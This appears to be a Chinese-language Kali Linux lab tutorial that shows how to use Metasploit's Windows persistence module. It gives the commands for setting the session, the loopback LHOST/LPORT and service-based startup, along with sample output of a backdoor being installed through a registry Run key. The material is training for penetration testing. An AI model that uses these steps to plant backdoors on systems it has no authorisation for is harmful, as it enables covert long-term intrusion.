使用 Metasploit 模块建立持久化

Kali LinuxBeginner
立即练习

引言

在本实验中,你将学习使用 Metasploit Framework 在目标系统上建立持久化访问的基础流程。持久化是渗透测试中的一个关键阶段,它允许攻击者在受损系统重启或初始连接丢失后仍能保持访问。我们将探索如何使用一个特定的 Metasploit 模块来创建一个自动重新连接到你机器的后门。本实验专注于在受控的模拟环境中的命令和概念。

在目标上获得一个特权的 Meterpreter 会话

在本步骤中,我们将启动 Metasploit Framework 并理解我们任务的上下文。在实际的渗透测试中,建立持久化是一个后渗透活动。这意味着你已经获得了对目标系统的初始访问权限,通常是以 Meterpreter 会话的形式。

在本实验中,我们将专注于设置持久化的命令和流程。我们将假设你已经成功攻陷了一个目标,并且 Meterpreter 会话正在后台运行。

首先,让我们从终端启动 Metasploit 控制台。-q 标志提供了一个安静的启动,抑制了启动横幅。

msfconsole -q

你的命令提示符现在应该会变为 msf6 >,这表明你已进入 Metasploit Framework。

在具有活动会话的实际场景中,你可以使用 sessions 命令列出它。要与之交互,你可以使用 sessions -i <session_id>。要返回到 msf6 > 提示符以使用后渗透模块,你可以在 Meterpreter 会话中使用 background 命令。我们将继续进行,就好像我们已经将我们的会话置于后台一样。

搜索持久化后渗透模块

在本步骤中,我们将搜索 Metasploit 中可以帮助我们建立持久化的模块。Metasploit 拥有强大的搜索功能,允许你根据关键词、类型、平台等查找模块。

我们正在寻找与“persistence”相关的模块。让我们在 Metasploit 控制台中使用 search 命令来查找相关模块。

search persistence

此命令将返回与关键词匹配的漏洞利用(exploits)、辅助(auxiliary)和后渗透(post-exploitation)模块列表。输出显示了模块的名称、披露日期、等级(rank)和简要描述。

你的输出将与此类似(部分细节可能有所不同):

Matching Modules
================

   ##   Name                                           Disclosure Date  Rank       Check  Description
   -   ----                                           ---------------  ----       -----  -----------
   0   auxiliary/admin/http/dlink_dir_600_http_login    2013-02-01       normal     No     D-Link DIR-600 'dlink_user' Persistence
   1   exploit/linux/local/cron_persistence             2020-01-28       excellent  Yes    Cron Persistence
   2   exploit/osx/local/persistence                    2015-05-11       excellent  Yes    OS X Persistent Launchd Job
   3   exploit/windows/local/persistence                2012-08-20       excellent  No     Windows Persistent Service Installer
   4   exploit/windows/local/persistence_service        2014-09-11       excellent  Yes    Persistent Service Installer
   5   post/android/manage/remove_persistence           2018-09-20       normal     No     Remove persistence from device
   6   post/android/manage/set_persistence              2018-09-20       normal     No     Set persistence on device
   7   post/multi/manage/shell_to_meterpreter                          normal     No     Shell to Meterpreter Upgrade
   8   post/osx/manage/persistence                      2018-09-20       normal     No     Install persistence on OSX
   9   post/windows/manage/persistence_exe              2013-03-06       normal     No     Windows Manage Persistent EXE Payload
   10  post/windows/manage/ssh_inject                   2012-11-20       normal     No     Windows Manage SSH User Key Injection

如你所见,有多种选项。在本实验中,我们将专注于 exploit/windows/local/persistence,这是一个用于在 Windows 系统上创建持久化服务的可靠且常用的模块。

使用 exploit/windows/local/persistence 模块

在本步骤中,你将选择我们之前确定的持久化模块。Metasploit 中的 use 命令会将特定模块加载到当前上下文中,允许你配置和运行它。

要选择模块,你可以输入其完整路径,或者使用搜索结果中的编号(例如,use 3)。使用完整路径通常更可靠,因为编号可能会发生变化。

让我们加载 exploit/windows/local/persistence 模块。

use exploit/windows/local/persistence

运行此命令后,你的提示符将更改以反映当前加载的模块:msf6 exploit(windows/local/persistence) >

现在模块已加载,我们可以查看其选项,了解需要配置的内容。使用 show options 命令。

show options

这将显示一个表格,其中包含你可以为该模块设置的所有参数、它们的当前值以及它们是否是必需的。

Module options (exploit/windows/local/persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    10               yes       Delay in seconds for persistent payload to connect back
   LHOST                     no        The local listener IP address
   LPORT    4444             no        The local listener port
   REX_PORT 0                no        The port to connect to on the remote host
   SESSION                   yes       The session to run this module on
   STARTUP  USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
   ...

请注意,SESSION 是一个必需的选项。在这里,你将指定你已攻陷的 Meterpreter 会话的 ID。

配置自动启动和 payload 选项

在本步骤中,我们将为持久化模块配置必要的选项。根据 show options 的输出,我们需要设置几个参数来定义持久化机制的行为方式。set 命令用于为这些选项赋值。

首先,让我们指定 session。在实际场景中,你将使用你的活动 session 的 ID(例如,set SESSION 1)。对于本实验,我们将它设置为 1 作为占位符。

set SESSION 1

接下来,我们需要配置持久化机制将执行的 payload。此 payload 将回连到我们的机器。我们必须设置 LHOST(我们的 IP 地址)和 LPORT(我们将监听的端口)。让我们将 LHOST 设置为本地回环地址 127.0.0.1,并将 LPORT 设置为 4445(以避免与其他潜在的 handler 冲突)。

set LHOST 127.0.0.1
set LPORT 4445

STARTUP 选项决定了 payload 在目标机器上的启动方式。选项包括 USER(用户登录时运行)、SYSTEM(系统启动时运行)或 SERVICE(作为系统服务运行)。让我们选择 SERVICE 以获得更高的权限和隐蔽性。

set STARTUP SERVICE

你可以再次运行 show options 来验证所有设置是否已正确应用。你刚刚设置的所有值现在都应该反映在“Current Setting”列中。

执行模块并验证持久化机制

在最后一步中,我们将执行模块。在配置好所有选项后,运行该模块将尝试通过指定的 session 在目标系统上安装持久化脚本。要执行模块,只需使用 runexploit 命令。

run

预期结果: 在我们的模拟环境中,此命令将失败,因为不存在 ID 为 1 的活动 session。你将看到类似以下的错误消息:

[-] Exploit failed: Rex::Post::Meterpreter::RequestError The session is not valid.

这是本实验的预期行为,因为我们没有使用一个真实的、已被攻陷的主机。

在具有有效 session 的真实场景中,输出将大不相同。它将显示模块上传脚本、修改注册表并确认持久化机制已成功安装。成功的执行可能如下所示:

[*] Running module against TARGET-PC
[*] Installing persistence script...
[+] Persistence script uploaded to C:\Users\Admin\AppData\Local\Temp\abcde.vbs
[*] Creating startup registry key...
[+] Persistence registry key created at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fGhiJkL
[*] Starting the payload handler...
[+] Persistence established. The service will start on next boot.

要在真实测试中完成此过程,你需要设置一个新的 handler(use exploit/multi/handler),并使用相同的 LHOSTLPORT127.0.0.14445)进行配置。在目标机器重启后,持久化 payload 将执行并回连到你的 handler,为你提供一个新的 Meterpreter session。

总结

在本实验中,你学习了使用 Metasploit Framework 在目标系统上建立持久化的基本流程。你练习了搜索相关模块、选择和配置 exploit/windows/local/persistence 模块,并理解了它的工作原理。

虽然我们模拟了环境而没有使用真实的攻击目标,但你已经学会了在实际的渗透测试中创建持久化后门的精确命令和工作流程。这项技能对于在安全评估期间维持长期访问至关重要。

恭喜你完成了本实验!